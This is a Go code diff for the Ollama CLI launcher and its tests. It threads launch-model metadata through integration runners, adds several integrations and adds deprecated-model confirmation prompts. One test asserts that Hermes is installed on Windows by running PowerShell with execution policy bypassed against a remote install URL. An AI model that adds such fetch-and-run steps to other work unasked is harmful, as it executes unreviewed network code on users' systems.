t.Fatalf("Run returned error: %v", err)
}
@@ -798,7 +1138,7 @@ fi
}
h := &Hermes{}
err := h.Run("", nil)
err := h.Run("", nil, nil)
if err == nil {
t.Fatal("expected messaging setup failure")
}
@@ -943,26 +1283,59 @@ func TestHermesMessagingConfiguredRecognizesSupportedGatewayVars(t *testing.T) {
}
}
func TestHermesEnsureInstalledWindowsShowsWSLGuidance(t *testing.T) {
func TestHermesEnsureInstalledWindowsRunsPowerShellInstaller(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("uses a POSIX shell test binary")
}
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
withLauncherHooks(t)
withHermesPlatform(t, "windows")
t.Setenv("PATH", tmpDir)
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "AppData", "Local"))
powershell := filepath.Join(tmpDir, "powershell.exe")
script := fmt.Sprintf(`#!/bin/sh
printf '%%s\n' "$*" >> %q
/bin/mkdir -p %q
/bin/cat > %q <<'EOS'
#!/bin/sh
exit 0
EOS
/bin/chmod +x %q
exit 0
`,
filepath.Join(tmpDir, "powershell.log"),
filepath.Dir(filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe")),
filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"),
filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"),
)
if err := os.WriteFile(powershell, []byte(script), 0o755); err != nil {
t.Fatal(err)
}
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
if prompt != "Hermes is not installed. Install now?" {
t.Fatalf("unexpected install prompt %q", prompt)
}
return true, nil
}
h := &Hermes{}
err := h.ensureInstalled()
if err == nil {
t.Fatal("expected WSL guidance error")
if err := h.ensureInstalled(); err != nil {
t.Fatalf("ensureInstalled returned error: %v", err)
}
msg := err.Error()
if !strings.Contains(msg, "wsl --install") {
t.Fatalf("expected install command in guidance, got %v", err)
data, err := os.ReadFile(filepath.Join(tmpDir, "powershell.log"))
if err != nil {
t.Fatal(err)
}
if !strings.Contains(msg, "hermes-agent.nousresearch.com") {
t.Fatalf("expected docs link in guidance, got %v", err)
}
if strings.Contains(msg, "hermes is not installed") {
t.Fatalf("guidance should not lead with 'hermes is not installed', got %v", err)
logs := string(data)
for _, want := range []string{"-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", hermesWindowsInstallURL, "-SkipSetup"} {
if !strings.Contains(logs, want) {
t.Fatalf("expected PowerShell installer args to contain %q, got logs:\n%s", want, logs)
}
}
}
+144 -15
View File
@@ -25,7 +25,7 @@ type stubEditorRunner struct {
editErr error
}
func (s *stubEditorRunner) Run(model string, args []string) error {
func (s *stubEditorRunner) Run(model string, _ []LaunchModel, args []string) error {
s.ranModel = model
return nil
}
@@ -34,11 +34,11 @@ func (s *stubEditorRunner) String() string { return "StubEditor" }
func (s *stubEditorRunner) Paths() []string { return nil }
func (s *stubEditorRunner) Edit(models []string) error {
func (s *stubEditorRunner) Edit(models []LaunchModel) error {
if s.editErr != nil {
return s.editErr
}
cloned := append([]string(nil), models...)
cloned := launchModelNames(models)
s.edited = append(s.edited, cloned)
return nil
}
@@ -58,9 +58,15 @@ func TestIntegrationLookup(t *testing.T) {
{"claude desktop", "claude-desktop", true, "Claude Desktop"},
{"claude desktop alias", "claude-app", true, "Claude Desktop"},
{"codex", "codex", true, "Codex"},
{"chatgpt", "chatgpt", true, "ChatGPT"},
{"codex app legacy alias", "codex-app", true, "ChatGPT"},
{"codex app desktop alias", "codex-desktop", true, "ChatGPT"},
{"codex app gui alias", "codex-gui", true, "ChatGPT"},
{"hermes desktop", "hermes-desktop", true, "Hermes Desktop"},
{"kimi", "kimi", true, "Kimi Code CLI"},
{"droid", "droid", true, "Droid"},
{"opencode", "opencode", true, "OpenCode"},
{"omp", "omp", true, "OMP"},
{"pool", "pool", true, "Pool"},
{"unknown integration", "unknown", false, ""},
{"empty string", "", false, ""},
@@ -80,7 +86,7 @@ func TestIntegrationLookup(t *testing.T) {
}
func TestIntegrationRegistry(t *testing.T) {
expectedIntegrations := []string{"claude", "claude-desktop", "codex", "kimi", "droid", "opencode", "hermes", "pool"}
expectedIntegrations := []string{"claude", "claude-desktop", "cline", "codex", "chatgpt", "kimi", "droid", "opencode", "omp", "hermes", "hermes-desktop", "pool", "qwen"}
for _, name := range expectedIntegrations {
t.Run(name, func(t *testing.T) {
r, ok := integrations[name]
@@ -94,10 +100,34 @@ func TestIntegrationRegistry(t *testing.T) {
}
}
func TestChatGPTMigratesLegacyCodexAppLaunchConfig(t *testing.T) {
setTestHome(t, t.TempDir())
if err := config.SaveIntegration(codexAppIntegrationName, []string{"qwen3.5"}); err != nil {
t.Fatal(err)
}
if err := config.MarkIntegrationOnboarded(codexAppIntegrationName); err != nil {
t.Fatal(err)
}
got, err := loadStoredIntegrationConfig(chatGPTIntegrationName)
if err != nil {
t.Fatalf("loadStoredIntegrationConfig returned error: %v", err)
}
if diff := compareStrings(got.Models, []string{"qwen3.5"}); diff != "" {
t.Fatalf("migrated models mismatch: %s", diff)
}
if !got.Onboarded {
t.Fatal("migrated integration should remain onboarded")
}
if _, err := config.LoadIntegration(chatGPTIntegrationName); err != nil {
t.Fatalf("canonical ChatGPT config was not written: %v", err)
}
}
func TestHiddenIntegrationsExcludedFromVisibleLists(t *testing.T) {
for _, info := range ListIntegrationInfos() {
switch info.Name {
case "cline", "vscode", "kimi":
case "vscode", "kimi":
t.Fatalf("hidden integration %q should not appear in ListIntegrationInfos", info.Name)
}
}
@@ -203,7 +233,7 @@ func TestAllIntegrations_HaveRequiredMethods(t *testing.T) {
if displayName == "" {
t.Error("String() should not return empty")
}
var _ func(string, []string) error = r.Run
var _ func(string, []LaunchModel, []string) error = r.Run
})
}
}
@@ -478,11 +508,11 @@ func TestBuildModelList_ExistingRecommendedMarked(t *testing.T) {
func TestBuildModelList_PreservesRecommendationRequiredPlanForExistingCloudModel(t *testing.T) {
recommendations := []ModelItem{
{
Name: "glm-5:cloud",
Description: "Reasoning and code generation",
Recommended: true,
RequiredPlan: "pro",
ContextLength: 202_752,
Name: "glm-5:cloud",
Description: "Reasoning and code generation",
Recommended: true,
RequiredPlan: "pro",
Details: api.ModelDetails{ContextLength: 202_752},
},
}
existing := []modelInfo{{Name: "glm-5:cloud", Remote: true}}
@@ -863,7 +893,7 @@ func TestPrepareEditorIntegration_SavesOnlyAfterSuccessfulEdit(t *testing.T) {
}
editor := &stubEditorRunner{editErr: errors.New("boom")}
err := prepareEditorIntegration("droid", editor, []string{"new-model"})
err := prepareEditorIntegration("droid", editor, testLaunchModels("new-model"))
if err == nil || !strings.Contains(err.Error(), "setup failed") {
t.Fatalf("expected setup failure, got %v", err)
}
@@ -1076,6 +1106,51 @@ func TestShowOrPullWithPolicy_CloudModelNotFound_FailsEarlyForAllPolicies(t *tes
}
}
func TestShowOrPullWithPolicy_CloudModelShowUnavailableAllowsSelection(t *testing.T) {
oldHook := DefaultConfirmPrompt
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
t.Fatal("confirm prompt should not be called for explicit cloud models")
return false, nil
}
defer func() { DefaultConfirmPrompt = oldHook }()
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/api/show":
w.WriteHeader(http.StatusInternalServerError)
fmt.Fprintf(w, `{"error":"temporary failure"}`)
case "/api/status":
w.WriteHeader(http.StatusInternalServerError)
fmt.Fprintf(w, `{"error":"temporary failure"}`)
case "/api/pull":
t.Fatal("pull should not be called for explicit cloud models")
default:
w.WriteHeader(http.StatusNotFound)
}
}))
defer srv.Close()
u, _ := url.Parse(srv.URL)
client := api.NewClient(u, srv.Client())
if err := showOrPullWithPolicy(context.Background(), client, "glm-5.1:cloud", missingModelFail, true); err != nil {
t.Fatalf("showOrPullWithPolicy returned error: %v", err)
}
}
func TestShowOrPullWithPolicy_CloudModelShowUnreachableAllowsSelection(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
t.Fatalf("unexpected request after server close: %s %s", r.Method, r.URL.Path)
}))
u, _ := url.Parse(srv.URL)
client := api.NewClient(u, srv.Client())
srv.Close()
if err := showOrPullWithPolicy(context.Background(), client, "glm-5.1:cloud", missingModelFail, true); err != nil {
t.Fatalf("showOrPullWithPolicy returned error: %v", err)
}
}
func TestShowOrPullWithPolicy_CloudModelDisabled_FailsWithCloudDisabledError(t *testing.T) {
oldHook := DefaultConfirmPrompt
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
@@ -1737,6 +1812,11 @@ func TestIntegration_InstallHint(t *testing.T) {
input: "codex",
wantURL: "https://developers.openai.com/codex/cli/",
},
{
name: "chatgpt has hint",
input: "chatgpt",
wantURL: "https://chatgpt.com/download",
},
{
name: "openclaw has hint",
input: "openclaw",
@@ -1752,6 +1832,11 @@ func TestIntegration_InstallHint(t *testing.T) {
input: "unknown",
wantEmpty: true,
},
{
name: "qwen uses official install page",
input: "qwen",
wantURL: "https://qwen.ai/qwencode",
},
{
name: "empty name has no hint",
input: "",
@@ -1813,11 +1898,38 @@ func TestListIntegrationInfos(t *testing.T) {
}
want = filtered
}
if codexAppSupported() != nil {
filtered := make([]string, 0, len(want))
for _, name := range want {
if name != "chatgpt" {
filtered = append(filtered, name)
}
}
want = filtered
}
if diff := compareStrings(got, want); diff != "" {
t.Fatalf("launcher integration order mismatch: %s", diff)
}
})
t.Run("prioritizes primary launcher integrations", func(t *testing.T) {
got := make([]string, 0, len(infos))
for _, info := range infos {
got = append(got, info.Name)
}
wantPrefix := []string{"claude", "chatgpt", "hermes", "openclaw", "opencode", "hermes-desktop", "codex", "copilot", "omp"}
if codexAppSupported() != nil {
wantPrefix = []string{"claude", "hermes", "openclaw", "opencode", "hermes-desktop", "codex", "copilot", "omp"}
}
if len(got) < len(wantPrefix) {
t.Fatalf("expected at least %d integrations, got %v", len(wantPrefix), got)
}
if diff := compareStrings(got[:len(wantPrefix)], wantPrefix); diff != "" {
t.Fatalf("unexpected primary launcher order: %s", diff)
}
})
t.Run("all fields populated", func(t *testing.T) {
for _, info := range infos {
if info.Name == "" {
@@ -1830,7 +1942,10 @@ func TestListIntegrationInfos(t *testing.T) {
})
t.Run("includes known integrations", func(t *testing.T) {
known := map[string]bool{"claude": false, "codex": false, "opencode": false}
known := map[string]bool{"claude": false, "cline": false, "codex": false, "opencode": false, "omp": false}
if codexAppSupported() == nil {
known["chatgpt"] = false
}
if poolsideGOOS != "windows" {
known["pool"] = false
}
@@ -1855,6 +1970,15 @@ func TestListIntegrationInfos(t *testing.T) {
t.Fatal("expected hermes to be included in ListIntegrationInfos")
})
t.Run("includes hermes desktop", func(t *testing.T) {
for _, info := range infos {
if info.Name == "hermes-desktop" {
return
}
}
t.Fatal("expected hermes-desktop to be included in ListIntegrationInfos")
})
t.Run("hermes still resolves explicitly", func(t *testing.T) {
name, runner, err := LookupIntegration("hermes")
if err != nil {
@@ -1953,6 +2077,7 @@ func TestIntegration_Editor(t *testing.T) {
{"claude", false},
{"claude-desktop", false},
{"codex", false},
{"omp", false},
{"nonexistent", false},
}
for _, tt := range tests {
@@ -1977,10 +2102,14 @@ func TestIntegration_AutoInstallable(t *testing.T) {
{"openclaw", true},
{"pi", true},
{"hermes", true},
{"claude", false},
{"hermes-desktop", true},
{"cline", true},
{"qwen", true},
{"claude", true},
{"claude-desktop", false},
{"codex", false},
{"opencode", false},
{"opencode", true},
{"omp", false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
+1 -1
View File
@@ -36,7 +36,7 @@ func (k *Kimi) args(config string, extra []string) []string {
return args
}
func (k *Kimi) Run(model string, args []string) error {
func (k *Kimi) Run(model string, _ []LaunchModel, args []string) error {
if strings.TrimSpace(model) == "" {
return fmt.Errorf("model is required")
}
+2 -2
View File
@@ -307,7 +307,7 @@ func TestKimiRun_RejectsConflictingArgsBeforeInstall(t *testing.T) {
}
t.Cleanup(func() { DefaultConfirmPrompt = oldConfirm })
err := k.Run("llama3.2", []string{"--model", "other"})
err := k.Run("llama3.2", nil, []string{"--model", "other"})
if err == nil || !strings.Contains(err.Error(), "--model") {
t.Fatalf("expected conflict error mentioning --model, got %v", err)
}
@@ -337,7 +337,7 @@ exit 0
t.Setenv("OLLAMA_HOST", srv.URL)
k := &Kimi{}
if err := k.Run("llama3.2", []string{"--quiet", "--print"}); err != nil {
if err := k.Run("llama3.2", nil, []string{"--quiet", "--print"}); err != nil {
t.Fatalf("Run() error = %v", err)
}
+184 -90
View File
@@ -12,6 +12,7 @@ import (
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/cmd/config"
modelpkg "github.com/ollama/ollama/types/model"
"github.com/spf13/cobra"
"golang.org/x/term"
)
@@ -137,16 +138,17 @@ var isInteractiveSession = func() bool {
return term.IsTerminal(int(os.Stdin.Fd())) && term.IsTerminal(int(os.Stdout.Fd()))
}
// Runner executes a model with an integration.
// Runner executes an integration with the selected model and its resolved
// launch metadata. models is ordered with the primary model first.
type Runner interface {
Run(model string, args []string) error
Run(model string, models []LaunchModel, args []string) error
String() string
}
// Editor can edit config files for integrations that support model configuration.
type Editor interface {
Paths() []string
Edit(models []string) error
Edit(models []LaunchModel) error
Models() []string
}
@@ -165,7 +167,7 @@ type ManagedSingleModel interface {
// ManagedModelListConfigurer lets managed single-model integrations receive
// the launcher's model list while still preserving one primary selected model.
type ManagedModelListConfigurer interface {
ConfigureWithModels(primary string, models []string) error
ConfigureWithModels(primary string, models []LaunchModel) error
}
// ManagedAutodiscoveryIntegration is for managed integrations that do not need
@@ -202,6 +204,12 @@ type RestoreSuccessIntegration interface {
RestoreSuccessMessage() string
}
// RestoreInstallCheckSkipper lets cleanup-only restore flows run even when the
// external integration binary has already been removed.
type RestoreInstallCheckSkipper interface {
SkipRestoreInstallCheck() bool
}
// ManagedRuntimeRefresher lets managed integrations refresh any long-lived
// background runtime after launch rewrites their config.
type ManagedRuntimeRefresher interface {
@@ -239,24 +247,18 @@ type SupportedIntegration interface {
Supported() error
}
type modelInfo struct {
Name string
Remote bool
ToolCapable bool
}
// ModelInfo re-exports launcher model inventory details for callers.
type ModelInfo = modelInfo
// ModelItem represents model metadata before selector-only UI state is derived.
type ModelItem struct {
Name string
Description string
Recommended bool
VRAMBytes int64
ContextLength int
MaxOutputTokens int
RequiredPlan string
ToolCapable bool
Capabilities []modelpkg.Capability
Size int64
Details api.ModelDetails
}
// SelectionItem represents a model row after launch has derived selector-only UI state.
@@ -285,25 +287,32 @@ Flags and extra arguments require an integration name.
Supported integrations:
claude Claude Code
cline Cline
codex Codex
copilot Copilot CLI (aliases: copilot-cli)
droid Droid
chatgpt ChatGPT (aliases: codex-app, codex-desktop, codex-gui)
hermes Hermes Agent
kimi Kimi Code CLI
opencode OpenCode
openclaw OpenClaw (aliases: clawdbot, moltbot)
opencode OpenCode
codex Codex
hermes-desktop Hermes Desktop
copilot Copilot CLI (aliases: copilot-cli)
omp OMP
droid Droid
kimi Kimi Code CLI
pi Pi
pool Pool
cline Cline
qwen Qwen Code
vscode VS Code (aliases: code)
Examples:
ollama launch
ollama launch claude
ollama launch claude --model <model>
ollama launch chatgpt
ollama launch chatgpt --restore
ollama launch hermes
ollama launch hermes-desktop
ollama launch droid --config (does not auto-launch)
ollama launch codex -- -p myprofile (pass extra args to integration)
ollama launch codex --restore
ollama launch codex -- --sandbox workspace-write`,
Args: cobra.ArbitraryArgs,
PreRunE: func(cmd *cobra.Command, args []string) error {
@@ -406,8 +415,7 @@ func launchCommandIsClaudeDesktop(name string) bool {
type launcherClient struct {
apiClient *api.Client
modelInventory []ModelInfo
inventoryLoaded bool
inventory *modelInventory
recommendationsLoaded bool
recommendationItems []ModelItem
accountState *AccountState
@@ -424,10 +432,18 @@ func newLauncherClient(policy LaunchPolicy) (*launcherClient, error) {
return &launcherClient{
apiClient: apiClient,
inventory: newModelInventory(apiClient),
policy: policy,
}, nil
}
func (c *launcherClient) modelInventory() *modelInventory {
if c.inventory == nil {
c.inventory = newModelInventory(c.apiClient)
}
return c.inventory
}
// BuildLauncherState returns the launch-owned root launcher menu snapshot.
func BuildLauncherState(ctx context.Context) (*LauncherState, error) {
launchClient, err := newLauncherClient(defaultLaunchPolicy(isInteractiveSession(), false))
@@ -520,8 +536,10 @@ func restoreIntegration(name string, runner Runner, req IntegrationLaunchRequest
if !ok {
return fmt.Errorf("%s does not support --restore", name)
}
if err := EnsureIntegrationInstalled(name, runner); err != nil {
return err
if skipper, ok := runner.(RestoreInstallCheckSkipper); !ok || !skipper.SkipRestoreInstallCheck() {
if err := EnsureIntegrationInstalled(name, runner); err != nil {
return err
}
}
if err := restorable.Restore(); err != nil {
return err
@@ -549,7 +567,7 @@ func prepareIntegrationLaunch(name string, policy LaunchPolicy) (*launcherClient
}
func (c *launcherClient) buildLauncherState(ctx context.Context) (*LauncherState, error) {
_ = c.loadModelInventoryOnce(ctx)
_, _ = c.modelInventory().Load(ctx)
state := &LauncherState{
LastSelection: config.LastSelection(),
@@ -689,9 +707,12 @@ func (c *launcherClient) resolveRunModel(ctx context.Context, req RunModelReques
}
if usable {
if err := c.ensureModelsReady(ctx, []string{current}); err != nil {
return "", err
if !errors.Is(err, errDeprecatedLaunchModelDeclined) {
return "", err
}
} else {
return current, nil
}
return current, nil
}
}
@@ -708,7 +729,7 @@ func (c *launcherClient) resolveRunModel(ctx context.Context, req RunModelReques
}
func (c *launcherClient) launchSingleIntegration(ctx context.Context, name string, runner Runner, saved *config.IntegrationConfig, req IntegrationLaunchRequest) error {
target, _, err := c.resolveSingleIntegrationTarget(ctx, runner, primaryModelFromConfig(saved), req)
target, _, err := c.resolveSingleIntegrationTarget(ctx, name, runner, primaryModelFromConfig(saved), req)
if err != nil {
return err
}
@@ -723,21 +744,29 @@ func (c *launcherClient) launchSingleIntegration(ctx context.Context, name strin
}
}
return launchAfterConfiguration(name, runner, target, req)
return launchAfterConfiguration(name, runner, target, c.resolveRunModels(ctx, []string{target}), req)
}
func (c *launcherClient) launchEditorIntegration(ctx context.Context, name string, runner Runner, editor Editor, saved *config.IntegrationConfig, req IntegrationLaunchRequest) error {
models, needsConfigure := c.resolveEditorLaunchModels(ctx, saved, req)
if needsConfigure {
selected, err := c.selectMultiModelsForIntegration(ctx, runner, models)
selected, err := c.selectMultiModelsForIntegration(ctx, name, runner, models)
if err != nil {
return err
}
models = selected
} else if len(models) > 0 {
if err := c.ensureModelsReady(ctx, models[:1]); err != nil {
return err
if err := c.ensureModelsReadyFor(ctx, models[:1], runner.String(), name); err != nil {
if !errors.Is(err, errDeprecatedLaunchModelDeclined) || req.ModelOverride != "" {
return err
}
selected, err := c.selectMultiModelsForIntegration(ctx, name, runner, models)
if err != nil {
return err
}
models = selected
needsConfigure = true
}
}
@@ -745,13 +774,18 @@ func (c *launcherClient) launchEditorIntegration(ctx context.Context, name strin
return nil
}
if (needsConfigure || req.ModelOverride != "") && !savedMatchesModels(saved, models) {
if err := prepareEditorIntegration(name, editor, models); err != nil {
var launchModels []LaunchModel
liveConfigMatches := slices.Equal(editor.Models(), models)
if needsConfigure || req.ModelOverride != "" || !savedMatchesModels(saved, models) || !liveConfigMatches {
launchModels = c.modelInventory().Resolve(ctx, models)
if err := prepareEditorIntegration(name, editor, launchModels); err != nil {
return err
}
} else {
launchModels = c.resolveRunModels(ctx, models)
}
return launchAfterConfiguration(name, runner, models[0], req)
return launchAfterConfiguration(name, runner, models[0], launchModels, req)
}
func (c *launcherClient) launchManagedSingleIntegration(ctx context.Context, name string, runner Runner, managed ManagedSingleModel, saved *config.IntegrationConfig, req IntegrationLaunchRequest) error {
@@ -761,7 +795,7 @@ func (c *launcherClient) launchManagedSingleIntegration(ctx context.Context, nam
selectionCurrent = primaryModelFromConfig(saved)
}
target, needsConfigure, err := c.resolveSingleIntegrationTarget(ctx, runner, selectionCurrent, req)
target, needsConfigure, err := c.resolveSingleIntegrationTarget(ctx, name, runner, selectionCurrent, req)
if err != nil {
return err
}
@@ -769,12 +803,18 @@ func (c *launcherClient) launchManagedSingleIntegration(ctx context.Context, nam
return nil
}
if needsConfigure || req.ModelOverride != "" || (current != "" && target != current) || !savedMatchesModels(saved, []string{target}) {
// current is the live managed app config; target may come from saved launch
// state. Rewrite when the live config is missing or has drifted so the app
// config converges with the model which launch is about to use.
liveConfigMissing := current == ""
liveConfigDrifted := current != "" && target != current
configured := false
if needsConfigure || req.ModelOverride != "" || liveConfigMissing || liveConfigDrifted || !savedMatchesModels(saved, []string{target}) {
configureModels, err := c.managedSingleConfigureModels(ctx, managed, target)
if err != nil {
return err
}
if err := prepareManagedSingleIntegration(name, managed, target, configureModels); err != nil {
if err := prepareManagedSingleIntegration(name, managed, target, c.modelInventory().Resolve(ctx, configureModels)); err != nil {
return err
}
if refresher, ok := managed.(ManagedRuntimeRefresher); ok {
@@ -782,6 +822,7 @@ func (c *launcherClient) launchManagedSingleIntegration(ctx context.Context, nam
return err
}
}
configured = true
}
if !managedIntegrationOnboarded(saved, managed) {
@@ -793,11 +834,17 @@ func (c *launcherClient) launchManagedSingleIntegration(ctx context.Context, nam
}
}
if configured {
if !printConfigurationSuccess(managed) {
printRestoreHint(managed)
}
}
if req.ConfigureOnly {
return nil
}
return runIntegration(runner, target, req.ExtraArgs)
return runIntegration(runner, target, c.resolveRunModels(ctx, []string{target}), req.ExtraArgs)
}
func (c *launcherClient) launchManagedAutodiscoveryIntegration(ctx context.Context, name string, runner Runner, autodiscovery ManagedAutodiscoveryIntegration, saved *config.IntegrationConfig, req IntegrationLaunchRequest) error {
@@ -840,7 +887,7 @@ func (c *launcherClient) launchManagedAutodiscoveryIntegration(ctx context.Conte
return nil
}
return runIntegration(runner, target, req.ExtraArgs)
return runIntegration(runner, target, c.resolveRunModels(ctx, []string{target}), req.ExtraArgs)
}
func (c *launcherClient) managedAutodiscoveryUsable(ctx context.Context, autodiscovery ManagedAutodiscoveryIntegration) bool {
@@ -918,7 +965,7 @@ func (c *launcherClient) managedSingleConfigureModels(ctx context.Context, manag
return dedupeModelList(models), nil
}
func (c *launcherClient) resolveSingleIntegrationTarget(ctx context.Context, runner Runner, current string, req IntegrationLaunchRequest) (string, bool, error) {
func (c *launcherClient) resolveSingleIntegrationTarget(ctx context.Context, name string, runner Runner, current string, req IntegrationLaunchRequest) (string, bool, error) {
target := req.ModelOverride
needsConfigure := req.ForceConfigure
skipReadiness := false
@@ -941,15 +988,25 @@ func (c *launcherClient) resolveSingleIntegrationTarget(ctx context.Context, run
}
}
if needsConfigure {
selected, err := c.selectSingleModelWithSelectorReady(ctx, fmt.Sprintf("Select model for %s:", runner), target, DefaultSingleSelector, !skipReadiness)
if needsConfigure && req.ModelOverride == "" {
selected, err := c.selectSingleModelWithSelectorReady(ctx, fmt.Sprintf("Select model for %s:", runner), target, DefaultSingleSelector, !skipReadiness, runner.String(), name)
if err != nil {
return "", false, err
}
target = selected
} else if !skipReadiness {
if err := c.ensureModelsReady(ctx, []string{target}); err != nil {
return "", false, err
if err := c.ensureModelsReadyFor(ctx, []string{target}, runner.String(), name); err != nil {
if !errors.Is(err, errDeprecatedLaunchModelDeclined) {
return "", false, err
}
// "Pick another model" is an interactive recovery path, including
// when --model supplied the initial target.
selected, err := c.selectSingleModelWithSelectorReady(ctx, fmt.Sprintf("Select model for %s:", runner), target, DefaultSingleSelector, true, runner.String(), name)
if err != nil {
return "", false, err
}
target = selected
needsConfigure = true
}
}
@@ -987,7 +1044,7 @@ func managedRequiresInteractiveOnboarding(managed any) bool {
}
func (c *launcherClient) selectSingleModelWithSelector(ctx context.Context, title, current string, selector SingleSelector) (string, error) {
return c.selectSingleModelWithSelectorReady(ctx, title, current, selector, true)
return c.selectSingleModelWithSelectorReady(ctx, title, current, selector, true, "ollama launch", "")
}
func (c *launcherClient) latestAccountState() *AccountState {
@@ -997,7 +1054,7 @@ func (c *launcherClient) latestAccountState() *AccountState {
return c.accountState
}
func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context, title, current string, selector SingleSelector, ensureReady bool) (string, error) {
func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context, title, current string, selector SingleSelector, ensureReady bool, label, commandName string) (string, error) {
if selector == nil && DefaultSingleSelectorWithUpdates == nil {
return "", fmt.Errorf("no selector configured")
}
@@ -1022,11 +1079,15 @@ func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context,
return "", ErrCancelled
}
if ensureReady {
if err := c.ensureModelsReady(ctx, []string{selected}); err != nil {
if err := c.ensureModelsReadyFor(ctx, []string{selected}, label, commandName); err != nil {
if errors.Is(err, errUpgradeCancelled) {
current = selected
continue
}
if errors.Is(err, errDeprecatedLaunchModelDeclined) {
current = selected
continue
}
return "", err
}
}
@@ -1034,7 +1095,7 @@ func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context,
}
}
func (c *launcherClient) selectMultiModelsForIntegration(ctx context.Context, runner Runner, preChecked []string) ([]string, error) {
func (c *launcherClient) selectMultiModelsForIntegration(ctx context.Context, name string, runner Runner, preChecked []string) ([]string, error) {
if DefaultMultiSelector == nil && DefaultMultiSelectorWithUpdates == nil {
return nil, fmt.Errorf("no selector configured")
}
@@ -1056,12 +1117,16 @@ func (c *launcherClient) selectMultiModelsForIntegration(ctx context.Context, ru
if err != nil {
return nil, err
}
accepted, skipped, err := c.selectReadyModelsForSave(ctx, selected)
accepted, skipped, err := c.selectReadyModelsForSave(ctx, selected, runner.String(), name)
if err != nil {
if errors.Is(err, errUpgradeCancelled) {
orderedChecked = append([]string(nil), selected...)
continue
}
if errors.Is(err, errDeprecatedLaunchModelDeclined) {
orderedChecked = append([]string(nil), selected...)
continue
}
return nil, err
}
for _, skip := range skipped {
@@ -1092,13 +1157,16 @@ func runMultiSelector(title string, items []SelectionItem, preChecked []string,
}
func (c *launcherClient) loadSelectableModels(ctx context.Context, preChecked []string, current, emptyMessage string) ([]ModelItem, []string, error) {
if err := c.loadModelInventoryOnce(ctx); err != nil {
inventory, err := c.modelInventory().Load(ctx)
if err != nil {
return nil, nil, err
}
recommendations := c.recommendations(ctx)
cloudDisabled, _ := cloudStatusDisabled(ctx, c.apiClient)
items, orderedChecked, _, _ := buildModelListWithRecommendations(c.modelInventory, recommendations, preChecked, current)
items, orderedChecked, _, _ := buildModelListWithRecommendations(inventory, recommendations, preChecked, current)
items = filterDeprecatedLaunchModelItems(items)
orderedChecked = filterDeprecatedLaunchModelNames(orderedChecked)
if cloudDisabled {
items = filterCloudItems(items)
orderedChecked = c.filterDisabledCloudModels(ctx, orderedChecked)
@@ -1163,9 +1231,11 @@ func (c *launcherClient) requestRecommendations(ctx context.Context) ([]ModelIte
Description: description,
Recommended: true,
VRAMBytes: rec.VRAMBytes,
ContextLength: rec.ContextLength,
MaxOutputTokens: rec.MaxOutputTokens,
RequiredPlan: strings.TrimSpace(rec.RequiredPlan),
Details: api.ModelDetails{
ContextLength: rec.ContextLength,
},
})
}
@@ -1173,13 +1243,31 @@ func (c *launcherClient) requestRecommendations(ctx context.Context) ([]ModelIte
}
func (c *launcherClient) ensureModelsReady(ctx context.Context, models []string) error {
return c.ensureModelsReadyFor(ctx, models, "ollama launch", "")
}
func (c *launcherClient) ensureModelsReadyFor(ctx context.Context, models []string, label, commandName string) error {
models = dedupeModelList(models)
if len(models) == 0 {
return nil
}
cloudRec, localRec := c.agentCapableRecommendations(ctx)
cloudModels := make(map[string]bool, len(models))
for _, model := range models {
if prompt := deprecatedLaunchModelPrompt(model, label, commandName, cloudRec, localRec); prompt != "" {
ok, err := ConfirmPromptWithOptions(prompt, ConfirmOptions{
YesLabel: "Launch anyway",
NoLabel: "Pick another model",
Default: ConfirmDefaultNo,
})
if err != nil {
return err
}
if !ok {
return errDeprecatedLaunchModelDeclined
}
}
isCloudModel := isCloudModelName(model)
if isCloudModel {
cloudModels[model] = true
@@ -1194,6 +1282,27 @@ func (c *launcherClient) ensureModelsReady(ctx context.Context, models []string)
return ensureAuth(ctx, c.apiClient, cloudModels, models)
}
func (c *launcherClient) agentCapableRecommendations(ctx context.Context) (cloud, local string) {
recs := c.recommendations(ctx)
cloudDisabled, known := cloudStatusDisabled(ctx, c.apiClient)
for _, rec := range recs {
if rec.Name == "" || isDeprecatedLaunchModel(rec.Name) {
continue
}
if isCloudModelName(rec.Name) {
if cloud == "" && !(known && cloudDisabled) {
cloud = rec.Name
}
} else if local == "" {
local = rec.Name
}
if cloud != "" && local != "" {
break
}
}
return cloud, local
}
func dedupeModelList(models []string) []string {
deduped := make([]string, 0, len(models))
seen := make(map[string]bool, len(models))
@@ -1212,16 +1321,19 @@ type skippedModel struct {
reason string
}
func (c *launcherClient) selectReadyModelsForSave(ctx context.Context, selected []string) ([]string, []skippedModel, error) {
func (c *launcherClient) selectReadyModelsForSave(ctx context.Context, selected []string, label, commandName string) ([]string, []skippedModel, error) {
selected = dedupeModelList(selected)
accepted := make([]string, 0, len(selected))
skipped := make([]skippedModel, 0, len(selected))
for _, model := range selected {
if err := c.ensureModelsReady(ctx, []string{model}); err != nil {
if err := c.ensureModelsReadyFor(ctx, []string{model}, label, commandName); err != nil {
if errors.Is(err, errUpgradeCancelled) {
return nil, nil, err
}
if errors.Is(err, errDeprecatedLaunchModelDeclined) {
return nil, nil, err
}
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
return nil, nil, err
}
@@ -1286,10 +1398,11 @@ func (c *launcherClient) filterDisabledCloudModels(ctx context.Context, models [
}
func (c *launcherClient) savedModelUsable(ctx context.Context, name string) (bool, error) {
